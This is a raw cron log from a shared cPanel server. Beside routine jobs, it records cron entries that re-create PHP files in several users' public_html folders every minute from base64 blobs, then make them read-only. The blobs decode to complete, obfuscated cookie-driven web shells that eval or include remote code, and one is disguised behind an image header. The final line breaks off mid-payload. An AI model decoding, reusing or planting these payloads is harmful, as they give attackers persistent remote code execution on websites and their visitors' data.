Jun  7 15:07:01 medusa CROND[23011]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:07:01 medusa CROND[23012]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:07:01 medusa CROND[23013]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:07:01 medusa CROND[23014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:07:01 medusa CROND[23015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:07:01 medusa CROND[23017]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:07:01 medusa CROND[23018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:07:01 medusa CROND[23020]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:07:01 medusa CROND[23021]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:07:01 medusa CROND[23026]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:07:01 medusa CROND[23027]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:08:02 medusa CROND[24980]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:08:02 medusa CROND[24981]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:08:02 medusa CROND[24982]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:08:02 medusa CROND[24983]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:08:02 medusa CROND[24989]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:08:02 medusa CROND[24990]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:08:02 medusa CROND[24991]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:08:02 medusa CROND[24992]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:08:02 medusa CROND[24988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:08:02 medusa CROND[24993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:08:02 medusa CROND[24994]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:08:02 medusa CROND[24996]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:08:02 medusa CROND[24999]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:08:02 medusa CROND[24995]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 15:09:01 medusa CROND[26873]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 15:09:01 medusa CROND[26876]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:09:01 medusa CROND[26884]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:09:01 medusa CROND[26885]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:09:01 medusa CROND[26886]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:09:01 medusa CROND[26887]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2Vk